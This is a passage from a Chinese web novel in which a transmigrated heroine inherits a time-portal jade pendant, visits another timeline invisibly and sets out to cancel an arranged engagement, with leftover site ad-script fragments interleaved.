'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 之后女主更加疯狂的追求男主,对男主也越发死缠烂打了。 而男主则越来越受不了女主,女主渐渐消磨掉在他这边青梅竹马情谊。 直到原主出现时,男主对女主已经从厌烦升级到厌恶了。 男主当然不喜欢原主,也不是那种能让人随意做主婚姻的。 他小时候就知道爷爷为了报恩,给他定了门婚事,不过他并没有当一回事。 应该说男主的家人,哪怕男主的爷爷到后面也忘记这件事了。 要不是原主找上门来,这个婚约怕是就此不会有人再想起来。 原主过来并不是要男主履行婚约的,她是来归还当年男主爷爷给的定亲信物,同时将婚约退了。 对于原主是上门来退还定亲信物,取消婚约的,只有男主爷爷不赞同,劝着原主再考虑考虑。 至于男主以及男主父母则是很满意原主的识趣,觉得原主还是挺有自知之明的。 不然要是真上门来要求履行婚约,到时搞得场面不好看,对谁都不好。 原主怎么也想不到自己上门归还下定亲信物,退个婚,会直接给她招来杀身之祸。 男主为了摆脱女主的纠缠,直接对女主说起婚约的事,并撒谎说他会履行这个婚约的。 剧情看到这里,白幺幺脑门上就写着两个大大的“无语”。 这个小世界的男女主还真是有点绝配啊! 当然,之后的剧情让白幺幺同志更无语了。 女主听了男主的话,做出一副大受打击的模样跑开了,跑开时还不忘留下这么一句话。 “阿尧哥哥,我不信,我不信,我知道你是骗我的。” 回去后,女主把自己关在房间里一晚上。 第二天她决定找原主谈谈,出门前路过客厅,视线不经意扫到桌上放着的水果刀,鬼使神差的,她拿起了那把刀。 女主才出家门,远远就瞧见原主刚好从男主家里出来,双拳无意识地握紧了。 她上前说有事想和原主聊聊,是关于男主的。 原主哪里会想到女主是个疯子。 无论她如何解释已经退还定亲信物,和男主解除婚约了,女主都不信,最后还…… 第115章 大佬的舔狗青梅之错位时空的爱恋(02) 女主杀死原主后,还不等她露出慌乱的表情,她和原主的身体就被传送到一个完全陌生的地方。 原来原主随身戴的玉佩里有一个隐藏的时空门,而她的血被玉佩吸收后,激活了这个时空门。 因为原主在时空门还未认主前就断气了,时空门初开时,发生错乱,直接将原主和以及与原主纠缠在一起的女主吸了进去。 而这块玉佩并不是原主家祖传的,更不是什么偶然在路边摊买的。 玉佩算是原主一个故人不小心遗失,被原主捡到了,然后代为贴身保管。 原主一直想找到人,将玉佩还回去的。 原主戴这玉佩好多年,都没出现个意外将时空门开启了,同时认主。 这能有什么办法,谁让原主只是这方小世界的一个炮灰工具人,将金手指送到女主身边来的炮灰工具人。 白幺幺:“……” 创造这方小世界的人就是挺玩人的! 之后的剧情,就可谓跌宕起伏了,总结一句话就是舔狗青梅的逆袭之路。 杀了人,立马来个金手指。 抛尸藏尸的绝佳地方不就有了,不得不说原剧情中女主这妥妥的亲闺女待遇啊! 白幺幺同志:……就有点酸!还有这样操作也行? 因为原主死了,时空门仍旧处于无主的状态。 遭遇如此离奇诡异的事,女主反而没有了出现杀人后的惊慌。 她环顾四周,发现自己正身处在一片密林中,四周除了虫鸣鸟叫再无其他声音。 现代人,谁还没看过几本小说,女主除了无敌恋爱脑,其他方面还是挺优秀的,不然怎么当女主。 稍微冷静一想,问题要么出在自己身上,不然就是……她垂眸睨了眼地上的……尸体! 很快女主发现了玉佩,拿起玉佩的那一瞬间,心里有道声音在叫嚣着就是它了。 学着小说电视里演的,她咬破自己手指,将血滴在玉佩上。 结果毫无悬念,时空门认了女主为主。 白幺幺:……怎么感觉这就是个随便的门! 原主的死也是必然的。 谁让这时空门用途单一,又没生出灵智,就算认主成功后也没那个能力救原主。 等原主死后,就自然而然解绑,继续等待下一个有缘人。 看完所有剧情,白幺幺不得不承认创作出这方小世界剧情的人很有才,也很有想象力。 女主不仅利用时空门完美处理了原主的尸体,还能穿越回到八年前,见到十四岁自己。 不管是弥补缺憾,还是其他的,反正这奇遇简直不要太爽。 白幺幺同志实名羡慕啊! 哈哈,不过现在这金手指是她的了。 女主又不是天生的杀人狂魔,原主的死对女主来说不可能完全没影响。 其中最大的影响就是治好了她的恋爱脑。 对,没错的! 女主竟然醒悟,决定放弃追求男主,不再爱男主了。 之后女主开始在两个时间节点不同的平行世界来回穿梭,她既然下定决心不爱男主了,也真付诸行动。 在现实世界中,女主开始不再缠着男主。 而在另一个世界中,女主和十四岁的自己摊牌,同时开始给她洗脑,让她也不要再追着男主跑了。 爱人前,要先学会爱自己,做自己。 为爱迷失自己真的很可怕,也不值得,她已经付了血的代价。 嗯,双手沾满原主的血,应该也算吧! 再之后两个世界同时上演我爱你时你不爱我,我决定不爱你时,你才慢慢发现早已爱上我了的戏码。 结局当然是有情人终成眷属。 而最后的最后,玉佩中的能量耗尽,女主没办法再穿越时空。 重点来了,反正也不知道是什么原理。 一年后,男主还融合了另一个平时世界的记忆,然后他更爱女主了。 白幺幺:??? 就感觉挺不容易的。 小世界为了让男女主顺利甜蜜相爱,最后走到一起,肯定费了不少脑细胞吧! 白幺幺嘴上叼着根狗尾巴草朝原主的家走去。 乡间小道空气清新,清幽僻静。 她现在穿越过来的节点,原 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 主才十九岁,剧情要三年后才开始。 原主的身世很简单,普通农村家庭出身。 在原主两岁时,原主父母赶集回来的路上发现一老人落水。 憨厚朴实的庄稼人,哪里顾得了想其他,忙跳下水救人。 最后就是老人获救,原主父亲溺亡。 那落水的老人就是男主爷爷,为了报答救命之恩,他不仅给原主家留了一笔数目不小的钱。 瞧着孤儿寡母的,仍觉得不够,又替自家已经四岁的大孙子与原主定下婚约。 原主那时才多大,懂什么。 而原主母亲刚丧夫,沉浸在悲痛中,虽觉不妥,可实在拗不过态度坚决的男主爷爷。 所以婚约就这么被定下来,男主爷爷离开时还留下自己的住址。 之后男主爷爷很长一段时间都没来探望过原主母女俩,毕竟原主父亲是因 为救他而死的。 男主爷爷担心原主母亲会因为见到他,而勾起一些不好的回忆,迟迟无法从丧夫之痛走出来。 等过了大半年,男主爷爷觉得该去看看原主母女了。 只是他找来时,原主母亲已经带着原主去投奔远在外地打工的娘家人。 从此两边就失去了联系。 这个世界的原主除了自小丧父,在单亲家庭中长大,生活算是平淡温馨。 因着有男主爷爷留下的那笔钱,所以原主这孤儿寡母的,生活虽没大富大贵,却也没多为钱发愁过。 原主是长大后才知道婚约的事,那时她已经心有所属,所以和原主母亲说了要退掉婚约的想法。 丈夫没了,原主母亲一人将原主拉扯大,可以说原主就是她的全部。 婚姻大事,既然原主不想,原主母亲当然是无条件支持,尊重她个人意愿。 考虑到母亲近段时间身体出现点小毛病,不适合长途跋涉,原主也已经是二十几岁的大姑娘。 她瞒着母亲,趁着学校放假,自己按照男主爷爷当年留下的地址找过去。 男主爷爷那时留的是老家老宅的地址,反正几经波折,原主还是找男主家,见到男主爷爷…… 第116章 大佬的舔狗青梅之错位时空的爱恋(03) 难以想象原主最后活不见人,死不见尸的,直接被定为失踪人口,原主母亲该怎么活。 基本将剧情接收完后,白幺幺吐掉嘴里的狗尾巴草,开始查看起原主的心愿。 原主是个很简单很善良的小姑娘,她的心愿有三个。 原主之所以要退掉婚约是因为她心有所属了,而原主的一个心愿就是找到那个人,亲自和他说声谢谢,然后把玉佩还给他,最后让他幸福。 那个人是谁?原主自己也不知道。 初中时,学校组织野营。 原主被一只很漂亮的蝴蝶吸引,一时忘记了其他,直接追着蝴蝶跑呀跑。 最后,原主在山里迷路了,还摔了一跤,崴到了脚。 就在原主捂着嘴不敢哭出声来,既恐惧又无助的时候,那人逆着光出现了。 是个长得极好看极好看的大哥哥,第一眼原主还以为遇见了天使。 原主是个极度颜控,这点不是很好。 只一眼,小姑娘就春心萌动了。 所以,年少时真的不能遇到太惊艳的人。 原主在对人一无所知的情况下,就要为了人推掉与男主的婚约,最后还很大可能因此误终生。 当然,每个人有每个人的选择,前提只要不伤害到其他人就行。 原主心愿就能体现出她真的是个很善良的小姑娘。 她说的是找到人,让人幸福,而不是嫁给他或者让对方爱上自己。 毕竟有些人的幸福终究不是你给的,强求不得。 而真正爱一个人就是希望他幸福,即使和你没关系。 原主另一个心愿就是照顾好她妈妈,还有尽量不让她察觉出什么。 白幺幺:……原主这小姑娘还真的为她着想,最后用上了尽量,很体谅她这个任务者。 白幺幺再次感叹,原主真是个极好的小姑娘。 或许是单亲家庭的原因,仅仅是从原主的心愿就能看出,小姑娘容易替他人着想,很善解人意,不太习惯麻烦为难人。 原主的最后一个心愿则是可以的话,让男主女主一辈子在一起。 看,多好的一个小姑娘。 女主都要了她的命,她还能分出一个心愿来,替女主达成执念。 白幺幺很满意的点头,她就喜欢这样的原主,也很喜欢最后一个心愿。 不就是让男女主一辈子锁死,就算没有原主这个心愿,白幺幺本也就想这么操作的。 至于男女主在一起是过什么生活,原主并没有要求。 可以随便她发挥,这点白幺幺贼喜欢了。 “回来啦!说了我去车站接你,你非不要,瞧那一脸的汗,快擦擦,还有桌上我泡了蜂蜜水,等下就去喝。” 白幺幺一进门,白母就拿着块毛巾迎上来,嘴上絮絮叨叨的。 一脸的汗? 最多就是额头沁出一层薄汗。 这就是来自母亲的关心吗? 内心升起一股暖意,白幺幺笑着接过毛巾,并说了句,“谢谢妈。” 白幺幺这一声谢让白母很受用,不过嘴上还是嘟囔道:“一家人说啥两家话,和亲妈说啥谢,傻孩子。” 已经捧着蜂蜜水开始喝的白幺幺:……这个妈有点可爱,好喜欢呀! “妈,蜂蜜水好甜,你喝吗?” “不了,不了,你们小孩子才爱吃甜,我现在是看到甜的,还没吃就觉得腻牙。” 白幺幺:原主已经上大学了吧!果然在妈妈的眼里你永远是孩子。 将从学校带回来的东西拿回房间放好,白幺幺回到客厅挨着白母坐下。 “你这孩子,挨着我坐这么近干嘛,快坐那边去,那边比较凉快些,还有你不嫌热,我还嫌热了。” 白母的性格就这样,单亲妈妈想要立起来,久而久之就习惯了这样的说话方式。 白幺幺直接凑过去挽着白母的胳膊,撒娇道:“妈,我都好几个礼拜没见到你了,我在学校可是很想你的,难道你不想我吗?” 白母并没有推开白幺幺的手,“你们现在的孩子就是娇气了些,像我们以前……” 白幺幺很认真的听着白母讲以前,脸上没有任何不耐烦。 晚上,白母掌勺,白幺幺同志笨手笨脚的在旁边当帮厨。 快六点的时候,母女俩坐在餐桌 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 上吃了一顿丰盛的晚餐。 饭后,白幺幺陪着白母看了会电视, 快九点的时候,才端着一杯白母不知什么时候进厨房热的牛奶回房。 进了房间,白幺幺并没急着喝牛奶。 她将房门落锁,窗户关上,窗帘也拉上,最后还将房间里里外外检查了一圈。 确认环境相对安全后,她才掏出脖子上戴着的玉佩把玩起来。 瞧着挺普通,也不名贵的一块石头,没想到内藏如此大的玄机。 白幺幺想了想,还是觉得不要急着滴血认主。 女主好运气,第一次穿过去就是荒无人烟的密林。 白幺幺同志可不确定自己是否有这好运气,到时一穿过去给她扔在人堆中,那画面简直不敢想象。 所以,她需要做些准备。 白幺幺准备了两 天,才将行头准备好。 期间她凭着原主的记忆,将要找的那个男人画了出来,的确是个美男子。 原主美术功底一般,曾尝试画过,可画出来的都只有五六分像。 原主也不是那种会把人画像放网上高调找人性格,小姑娘做事顾虑比较多,会担心自己的行为是否给人造成麻烦。 当然原主也不是啥都不做,她将玉佩拍照,在一些相关的贴吧论坛发失物招领的帖子,希望能够凭此找到人。 说真的, 仅凭一张画像要找一个人,的确犹如大海捞针,希望渺茫。 然而,借助现代科技的力量,还是比较容易的,白幺幺同志一开始是这么想的。 夜已深。 白幺幺抬手扒拉了下头发,斜眼看时间,已经过了零点。 她从下午忙活到现在,那是连一丝收获都没有。 关掉电脑,白幺幺捏了捏眉心。 她想,最后实在没办法了,或许也只能发寻人启事了。 可莫名的,她也和原主一样,不太想把男人的画像发网上或者是打印在纸上四处分发。 算了,这事不急。 白幺幺收拾下,上床休息去了。 明晚她准备将玉佩滴血认主,然后去另一个平行时空瞧瞧。 第117章 大佬的舔狗青梅之错位时空的爱恋(04) 昨夜睡晚了的结果就是白幺幺早上下床拉开窗帘,那阳光刺得她都睁不开眼睛。 白母昨晚是快十一点才回屋休息的,路过白幺幺房间时,瞧见门缝底下还透出的光。 只以为孩子还在学习,心里很欣慰。 所以今早她要出门去上班时,瞧见白幺幺的房门还紧闭,想必人应该没起来。 她只看了一眼,却没有上前去敲门,喊人起来吃早饭。 没办法,孩子昨夜学习到那么晚,还是让人多睡会儿。 白幺幺踩着拖鞋从房间出来,客厅很安静,屋里现在就她一个人,白母已经去上班了。 白母就只有小学文化,嫁给白父后,两人靠务农为生。 白父没了后,白母带着孩子去投奔在外地讨生活的娘家人。 至于白父这边的那点薄产,不是被白父的兄弟直接霸占,就是贱卖给他们了。 没办法,白父家里有三兄弟,他是老二,属于那种爹不疼娘不爱的。 白母当年之所以离开得那么果断,就是怕最后男主爷爷给的那笔钱被白家人搜刮走。 所以在白家人还只知道男主爷爷给了笔钱,却不知道具体有多少时,在娘家人的劝说下,毅然决然带着孩子离开。 白幺幺觉得白母的做法很对,而白母这边的娘家人条件虽普通,但对她们孤儿寡母是真的很照顾。 在知道白母身上揣了笔巨款,也没起贪念。 反而还叮嘱着白母千万要记得财不露白,而且她现在一个人养孩子,钱很不经花的,花钱一定要有安排,省着点。 如今白母在离家五六公里的一个工厂上班,由于在里面做了十来年,白母现在已经是个小组长,工作还算轻松。 吃完白母给她留的早餐,白幺幺背靠椅子坐着消食。 原主大学学的是学前教育专业,原主谈不上喜不喜欢,就是白母觉得女孩子出来当个老师,安安稳稳的一辈子很好。 去年高考成绩出来的时候,原主的成绩不能说很好,中规中矩的,刚好踩着线被一所重本录取。 当老师啊? 白幺幺在脑中想象下自己站在讲台上慷慨激昂的讲着,下面那群小萝卜头…… 这工作着实有点挑战性。 为人师表不仅仅是传道授业解惑,一个好老师,有时真的能影响改变一个孩子的一生。 反正到时先走一步看一步,毕竟人的想法是多变的,毕业后没从事本专业工作的人多了去。 临近中午的时候,白母打电话过来问中午要吃什么,她顺路买回来煮给她吃。 知道白母厂里包吃,她平时中午都是在厂里吃,没回来的。 大热天的,白幺幺哪里能让人特意跑回来煮饭给她吃,忙坚持让白母别回来了,她中午自己简单煮点面吃就行。 实在拗不过她的撒娇与坚持,以及知道孩子这是在心疼当妈的,白母只好熄了回来煮午饭的心思。 这一天白幺幺过得相当悠闲。 追剧,吃饭,午睡,追剧…… 等白母下班回来,开始帮着一起在厨房里忙活。 最后一起吃饭,然后一起追剧,两人一起边看边讨论剧情,一起义愤填膺,一起笑得直不起来腰来。 直到剧集播完,开始播放广告,下集剧情还要等明晚才播,母女俩才都有点意犹未尽的各回各屋去。 今晚两人看电视看得有点晚,回房时已经快十点半了,妈妈牌热牛奶,白幺幺早半个小时前就喝了。 关上房门,原本打着哈欠,脸上有明显的困意的人瞬间恢复了精神。 白幺幺换上淘了很久才淘来的,十分富有年代气息的衣服。 同时她还搞了一个头套,没错,就是那种抢匪必戴的头套。 没办法,谁知道一过去对面是啥情况,先把脸捂起来准没错。 十分钟后,白幺幺同志一切准备就绪,只差对某门滴血认主了。 拿出早准备好的小刀,白幺幺不带犹豫的在食指指腹上划出一道口子。 鲜血滴落在玉佩上,没一会儿就被吸收了。 可是等了好几秒,玉佩并没有发出所谓的微光来。 白幺幺:…… 这血也吸了,还不给反应是闹哪样? '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 难道是血不够? 可是原剧情中,女主明明才滴了几滴血,而她刚刚流的血可比女主的多不少。 白幺幺不是容易放弃的人,拿起小刀,她又加深了指腹上的口子。 瞅着玉佩不断地吸收着她指腹汩汩流出的鲜血,一副不嫌多,没有要停下来的意思。 才一会儿的功夫,白幺幺感觉应该有被吸走一小茶杯量的血了。 白幺幺沉下脸来,微微眯了眯眸子。 东西是个不错的东西,但如此厚此薄彼,真的很让人不爽啊! 也不管玉佩里的时空门听不听得到,白幺幺磨着牙从牙缝里挤出声音来。 “适可而止点哈,真把我忍毛,等下直接想法子把你毁了。” 也不知道是她的威胁起效果了,还是玉佩刚好吸够血了。 她话落没两秒,玉佩开始发出……血红的微光…… 白幺幺:??? 什么鬼? 她明明记得原剧情中,不管是吸了原主的血后,还是后面女主滴血认主时,玉佩发出的都是莹白的微光。 蓦地,白幺幺有种不好的预感。 还不等她做出点啥反应,人就失去了意识。 …… 白幺幺蹲在地上,一副便秘脸的扒拉着地上的草。 问她为什么是这副表情? 你瞅,你就瞅瞅,她的手指直接从细嫩的草身穿过,这画面是不是有点……惊恐! 对了哦,你在瞅瞅地面上。 影子,她的影子离家出走了!!! 呵呵,合着她花时间准备了几天的东西全都用不上,简直就是在做无用功。 就她现在这状态,还需要戴什么头套呀! 别说她的脸,人家压根连她的身体都看不到好不。 白幺幺蹲地上自闭了好一会儿,才起身回屋里,目光落在正认真雕刻木雕的小男孩身上。 算了,也幸好她是以这样状态出现的。 不然房间里突然冒出她这么个人来,还一眼瞧着就不像什么好人,届时把人家孩子吓出个好歹来,就不好了。 第118章 大佬的舔狗青梅之错位时空的爱恋(05) 其实吧,换位思考,这样也没什么不好的。 这个世界的人看不到她,还省去她很多烦恼。 而这个世界的人怎么也想不到,身边有个看不见的她在光明正大的窥探着他们的生活。 怎么办,越想越觉得好玩,越想越觉得刺激。 特别是偶尔要是看些什么不该看的,比如某某限制级的画面,光想想,莫名就有点期待了怎么办。 因着又没人看得到她,白幺幺同志就有点放飞自我了,她捂着嘴嘿嘿笑了两声。 她这边想入非非,根本没有注意到屋里的小男孩在她的笑声响起时,握着刻刀的手停顿了那么一瞬。 白幺幺轻咳两声,收起脸上笑意,开始认真的打量起四周来。 低矮的土墙,屋顶不是瓦片的,而是那种茅草顶。 屋里陈设简单,也都比较老旧了,不过用料很好,这点似乎有点矛盾。 整间屋子被收拾的很干净整洁。 打量完屋子,白幺幺走到小男孩旁边。 她直接蹲地上,双手托腮,微仰着头,开始仔细打量起她来到这异时空第一个见到的人。 是个白净瘦弱的小男孩,瞧着约莫七八岁,小模样长得是真的不错。 怎么说了,和这屋子似乎有那么点格格不入。 嗯,仔细瞧着,好像…… “嘶!” 这一声是白幺幺下意识替小男孩发出来的,小男孩的手指不小心被刻刀划拉出一道口子来。 那一瞬间,白幺幺在旁边瞧着都觉得疼,没办法十指连心。 白幺幺以为小男孩就算不哭,也会马上放下手中的刻刀和木雕去处理伤口。 不过从小男孩的居住环境,可以看出家庭条件可能不是很好。 也不知道家里有药吗? 白幺幺等呀等,也不见小男孩起身去处理伤口。 他像是感觉不到疼痛般,继续着手上的动作,任由伤口流着血。 初具人形的木头块被鲜血染红的好几处,深浅不一,慢慢的,也就剩下零星几处没被染红。 白幺幺皱眉,她倒不是心疼这个才刚见面都不认识的小孩。 只是觉得好好的木雕就这么毁了,有点可惜。 至于小男孩手上的那道口子,其实也还好。 男孩子,受点伤不算什么的。 就算她是这孩子的妈,她只会提醒小孩去处理下伤口,或者帮忙处理。 但不会一惊一乍,甚至露出什么心疼的表情来。 不过观察到现在,白幺幺算是发现了,这孩子似乎有点不对劲呀。 知道对方听不到,她才小声嘀咕道:“难道是自闭症?” 伤口没处理,慢慢的也不流血了。 白幺幺就这样在旁边静静地看着小男孩的木雕一步步成型,最后呈现在她眼中的是个穿着旗袍的漂亮女人。 女人的脸部位置有一半染了血,一开始会觉得这污渍破坏了女人的美。 可是再多看几眼,慢慢的就越来越顺眼,甚至还会觉得那红给女人添了几丝妖异的美。 木雕已经完成,小男孩放下刻刀,双手捧着木雕专注看起来,如同与世隔绝了般。 白幺幺:……这孩子这样搞得她也太没存在感了吧! 好吧,谁让人家根本看不到她。 白幺幺有些无聊的站起身来,她决定出去外面溜达溜达。 这屋里的东西太简单了,不能提供什么有用信息,她一时摸不准自己穿到什么时候。 白幺幺哼着歌朝屋外走去,来到院子里,继续向着院门走去。 这处房子是临山而建的,可能是树木遮挡,反正白幺幺目之所及,暂时没看到其他人家的房子。 就在白幺幺一脚准备踏出院门时,前面好像出现一道无形的屏障…… 白幺幺:??? 原剧情中没出现这一茬呀! 白幺幺磨牙,过分了哟。 她不信邪的试了好几次,发现她的活动范围真的被限制了。 很好。 给女主的金手指,人家用是那样的,她用则是这样的。 再好脾气的人此刻都不会有好脸色。 白幺幺黑着脸,有些不得劲的回到屋里。 此时小男孩没有继续 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 坐在椅子上,而是捧着木雕来到屋里唯一一个一米多高的木柜前。 白幺幺进来的时,小男孩刚好打开木柜,柜子里的景象闯进她眼里。 里面满满当当放着的都是木雕,白幺幺眼力极好,看出都是同一个女人的木雕,只是雕刻出的表情以及穿的衣服款式会都不一样。 白幺幺走过去,眸底多了丝好奇。 女人是谁?小男孩的妈妈吗? 只是就算她再好奇,也没人能给她解惑。 活动空间有限,自己还是个透明人,本是期待已久的,可现在,莫名的有些索然无味。 白幺幺无声的叹了口气,决定回去了。 这个时空门,你离开时在哪,回去时还在哪。 相应的,你在这个世界从哪里离开,下次过来只会出现在这个地方。 如今,这个时空门对白幺幺来说,就真 的有点鸡肋了。 下次还要不要过来,对于白幺幺来说就是个未知数。 毕竟这边就一个自己又没办法和人交流的小男孩,着实没啥吸引力呀! “也不知道现在是哪一年?这里又是哪里?” 白幺幺颇为遗憾的嘟囔,“要是能知道就好了,回去后可以查一查,至少不枉此行。” 感觉继续待着有点浪费时间,尽管两个世界的时间流速不一样。 在这个世界过去一天,另一个世界则才过去一个小时。 离开前,白幺幺来到小男孩面前,尽管对方看不到她,她还是决定和对方道个别。 “再见了……等我下次无聊的时候,或许还会过来看你。” 白幺幺说完,莫名的还是觉得有点……有点…… 好吧,她好想回去砸了那玉佩。 白幺幺陷入自己情绪中,有点心不在焉,所以并没有注意到小男孩在她说完话时,唇角微微动了下。 既然决定要离开了,也道了别。 白幺幺只是在离开前又看了眼小男孩,她的人影就像来时那般,凭空消失了。 而在她离开后,原本站在柜子前,似乎在很认真瞧着里面东西的小男孩,他动了。 第119章 大佬的舔狗青梅之错位时空的爱恋(06) 回到自己房间,白幺幺第一时间把脖子上的玉佩扯下来,狠狠的……摔到床上。 简直欺人太甚了! 没有对比就没有伤害。 白幺幺恶狠狠地瞪了眼床上的玉佩,行为有些幼稚,但多少出了点气。 她转身去将衣服换掉,啥不去想了,睡觉先。 翌日。 白幺幺起了个大早,她哪里能心安理得一直吃白母煮的早餐,而自己则睡到太阳晒屁股才起来。 可惜她已经起挺早了,没想到洗漱完出去,白母刚好从外面买菜回来了。 她忙上前接过白母手上的袋子,瞧着就挺有分量,上手后果然,满满的都是白母对女儿的爱。 “妈,你去沙发上坐着歇会儿,早餐我来做。” 白母投来一个怀疑的目光,“你以前也没怎么进厨房,还是我来吧。” 原主读书时忙于学业,空余时间会帮忙做家务,不过的确是比较少进厨房,但还是会煮点简单的东西,只是不熟练。 “妈!” 白幺幺这声妈喊得拉长了音,同时嘟了嘟嘴,语气撒娇。 “你没听过士别三日刮目相看,我在学校没课的时候有去兼职,还是去那种小炒店,虽然平时做的是端菜收盘子的工作,但闲下来时候,我可是有观摩店里师傅如何做菜。” “就半个月前,我还跟着师傅学做了一道菜,那道菜我吃过一口,就觉得你肯定也爱吃。” 白幺幺扬了扬手上的袋子,咧嘴笑道:“刚好你买的东西有做那道菜的材料,我现在去做出来给你尝尝。” “行行,那妈给你打下手。” 白母乐呵呵道,脸上出现好几道岁月留下的褶子。 这怎么行。 白幺幺先将东西放地上,然后两手轻轻搭在白母肩上,推着人去沙发上坐下。 “妈,你今天就好好休息,以前学习压力重,我平时也只能帮你做点力所能及的事,现在我长大了,可以帮你分担更多事情了。” “反正今儿你好好在这里坐着,看看电视,等下保准让你吃到人间美味,还有你要是爱吃,我以后经常煮给你吃。” “你这孩子!” 白母笑着摆摆手,“行行,你快去吧。” 等白幺幺进了厨房,白母脸上的笑久久没淡下去,同时眼角微微发红。 白幺幺将做出来的味道控制在比家常菜还有那么一些些,不过白母边吃边夸,说是她这辈子吃过最好吃的面了。 末了,白母还说没想到她挺有厨艺天赋的。 那是,白幺幺身后要是有小尾巴,铁定已经翘上天了。 用完早餐,白幺幺和白母提说同学约她去外地旅游几天。 其实哪里有什么同学约,不过是她想出远门一趟。 本来,她这个暑假都计划好了,通过时空门,去另一个世界好好玩玩。 不过吧,这成了奢望。 而找人的事,目前没啥进展,也没个头绪。 所以吧,白幺幺同志决定找点事做,当然主要还是想去找找某人的不痛快。 没错的,她想去把和男主的婚约退了,同时围观下这个时候的女主是如何舔男主的。 然后再看情况先给女主整点事,没办法,白幺幺就是如此不讲道理的将玉佩的账记到了女主头上。 白母听后很支持,直接问她需要多少钱,人已经摸出钱包要掏钱了。 白幺幺:“……” 有妈的孩子真好! 她忙阻止白母掏钱的动作,摇头道:“妈,你不用给我钱,我不是和你提到过有去做兼职吗,所以我身上的钱够的。” 原主是有去做兼职,平时花钱也不会大手大脚的,挺节俭的一小姑娘。 不过这趟出行,白幺幺并不想委屈自己,所以她现在身上的钱肯定是不够的。 当然这都不是问题,想合法搞大钱对她来说是时间的问题,而搞点小钱,说分分钟有点夸张,但也只是几个小时的事。 白幺幺是行动派的,回房后就直接订了隔天中午的机票,然后开始收拾行李。 白母虽然舍不得女儿才回来没几天,就又要出远门,但她还是很开心女儿能出去外面走走看看。 白幺幺第一站当然是去男主 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 爷爷当年留下的那个地址,有些事该走走过场的还是很有必要走下。 免得到时给自己留下一些不好解释的情况。 白幺幺在离家后的第三天下午四点左右时,站在男主家所在小区大门口。 剧情中,原主是怎么进去的呢? 原主在和保安交涉,说她是来找人的,同时报出了男主爷爷的名字,就是那么巧的,男主刚好从旁边经过。 听到自家爷爷的名字,男主好奇驻足,就听到原主请保安帮忙联系下他爷爷,还报了个地方,说她来自那里,有东西想归还给他爷爷。 有些东西只是被下意识遗忘,而不是被彻底忘记。 男主很快想起了,自家爷爷好几年前还念叨起给他定的那门婚约。 他眼眸一凝,所以现在是正主找来了。 男主直接过去和原主说她要找的人是他爷爷,同时带着人进去 找他爷爷。 现在有个问题,剧情那是三年后的事,没有男主这个巧合,她要怎么进去见到人退婚。 唉,做个能力有限的小姑娘真难。 男主家在老家那边算是非常有名望的,尽管他们基本上不怎么回去了。 原主能问道到这个地址,还是她瞧着文静乖巧的,别人看到大老远跑空一次,挺不容易的。 当然原主肯定不会和人说她是要找人退婚的,她只说自己是有东西要亲自归还给男主爷爷。 至于想问道到男主爷爷的联系方式,想啥了,人家就算知道也不会随便给原主的。 越是有身份有地位的人,那联系方式金贵着了。 而拥有这些人联系方式的人,哪个没点情商的,会不经过正主同意,随便把人联系方式给出去。 这个点的太阳还很晒,白幺幺拖着行李箱来到小区大门边上的保安亭。 原主做事会顾虑很多,她是来搞事的,还顾虑啥。 白幺幺见了人先露出个含蓄的笑,才说话。 “那个,保安叔叔,你能帮我联系下你们小区里的业主顾远山吗?你就和他说我是来退还定亲信物的,他就会知道我是谁了。” 第120章 大佬的舔狗青梅之错位时空的爱恋(07) 原主长相算清秀耐看型的,不是第一眼美女的那种,两边脸颊有两个小酒窝,笑起来又乖巧又甜。 而她的话很快勾起保安大叔的好奇心呀。 没办法,男主家在小区里算是比较有名的,保安想不知道都难。 而他听到了什么?退定情信物呀! 只一眼保安大叔就看出小姑娘家境很一般,再和这么个一听就有瓜的词联系在一起,他内心能不蠢蠢欲动才怪。 不过保安大叔能在这种高档小区上班,还是有点情商的,肯定不会拉着人就开始各种探听八卦。 他瞧着小姑娘那副不像骗子的模样,开始犹豫了要不要帮忙打这个电话。 不过很显然,这个电话不用他打了。 “你要找顾爷爷?” 一道温柔好听的女声在白幺幺身后响起。 白幺幺:……哟呵,这么巧,她没能像原主那般遇到男主,倒是直接遇上了女主。 一个小时前。 颜晞月准备了个大惊喜要给阿尧哥哥,可是被人放鸽子了。 她有点受伤,也有点难过。 自我安慰了很久才把情绪调整好,原本是计划一切结束后,她直接跟着阿尧哥哥家的车一起回来的,所以她让家里司机先回去,不用等她。 小姑娘脸皮薄,要面子,她的动静虽不大,但知道的人很多,起码家里司机也是知道。 在选择让司机过来接她以及自己打车,她选择了自己打车。 不过此刻颜晞月很庆幸自己打车了。 顾爷爷给阿尧哥哥定了个娃娃亲的事,她知道,不过她从来没将这当一回事。 一个乡下丫头,颜晞月真没看在眼里。 今儿刚巧从旁边经过,要不是听到“退还定亲信物”几个字,她根本不会驻足主动攀谈的。 白幺幺回头打量起女主来。 与此同时,颜晞月也打量起白幺幺来。 不得不承认女主的颜值气质的确比原主强很多,就是不干人事。 将人从上到下打量一遍后,颜晞月彻底放心了。 当然,她更满意对方的识趣。 颜晞月脸上露出一抹淡漠疏离的浅笑,上前道:“我带你去找顾爷爷吧,说起来我也好几天没去看顾爷爷了,刚好去看看他老人家,陪他泡泡茶,唠唠嗑。” 白幺幺先是回头看了眼保安大叔,和他道了声谢。 而后才转头看向颜晞月,面露迟疑之色。 “可以吗?那真是谢谢你了。” “不用谢,顺路的事。” 颜晞月嘴角扯出个淡淡的弧度,语气很随意。 之后两人一路无话,白幺幺就这么被颜晞月带到了顾家。 进到顾家,颜晞月就像回了自己家般,一副主人家姿态招呼着白幺幺先坐。 人才刚坐下,就有佣人送茶水过来。 她端起茶水小抿了口,才回头看向引着她们进来的人,笑意吟吟地问“陈妈,顾爷爷现在在家吗?” 陈妈是小时候照顾顾景尧的保姆,现在算是这顾宅的半个管家。 